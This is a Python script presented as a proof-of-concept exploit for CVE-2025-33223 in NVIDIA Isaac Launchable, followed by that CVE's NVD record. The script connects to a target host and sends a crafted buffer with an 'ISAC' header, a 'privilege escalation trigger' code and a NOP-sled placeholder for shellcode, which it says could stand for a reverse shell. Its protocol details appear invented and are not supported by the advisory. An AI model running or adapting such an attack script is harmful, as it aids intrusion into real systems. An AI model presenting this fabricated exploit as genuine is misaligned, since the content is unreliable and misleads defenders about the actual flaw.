CVE-2025-33223

# CVE-2025-33223 PoC - NVIDIA Isaac Launchable Privilege Escalation # This PoC demonstrates the privilege escalation vulnerability in NVIDIA Isaac Launchable # Note: This is for educational and authorized testing purposes only import socket import struct import sys def create_exploit_payload(): """Generate malicious payload for Isaac Launchable""" # Malicious payload structure header = b'ISAC' # Isaac protocol header version = struct.pack('<H', 0x0001) command_type = struct.pack('<H', 0x1001) # Privilege escalation trigger # Crafted payload that exploits the permission issue payload = bytearray(1024) payload[0:4] = header payload[4:6] = version payload[6:8] = command_type # Shellcode placeholder (would execute calc.exe or reverse shell) shellcode = b'\x90' * 256 # NOP sled payload[16:272] = shellcode return bytes(payload) def exploit_isaac_launchable(target_ip, target_port=8999): """Send exploit payload to vulnerable Isaac Launchable service""" try: print(f'[*] Connecting to {target_ip}:{target_port}') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print('[*] Sending exploit payload...') payload = create_exploit_payload() sock.send(payload) print('[*] Payload sent successfully') print('[*] If vulnerable, the service should execute with elevated privileges') response = sock.recv(1024) if response: print(f'[+] Received response: {response.hex()}') sock.close() return True except Exception as e: print(f'[-] Error: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8999 exploit_isaac_launchable(target, port)

{"cve": {"id": "CVE-2025-33223", "sourceIdentifier": "[email protected]", "published": "2025-12-23T17:15:47.290", "lastModified": "2026-01-15T17:12:39.937", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Isaac Launchable contains a vulnerability where an attacker could cause an execution with unnecessary privileges. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, denial of service, information disclosure and data tampering."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-250"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:isaac_launchable:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "06DCD93C-D16D-4B48-AACD-6E4A38FF5052"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33223", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5749", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33223", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}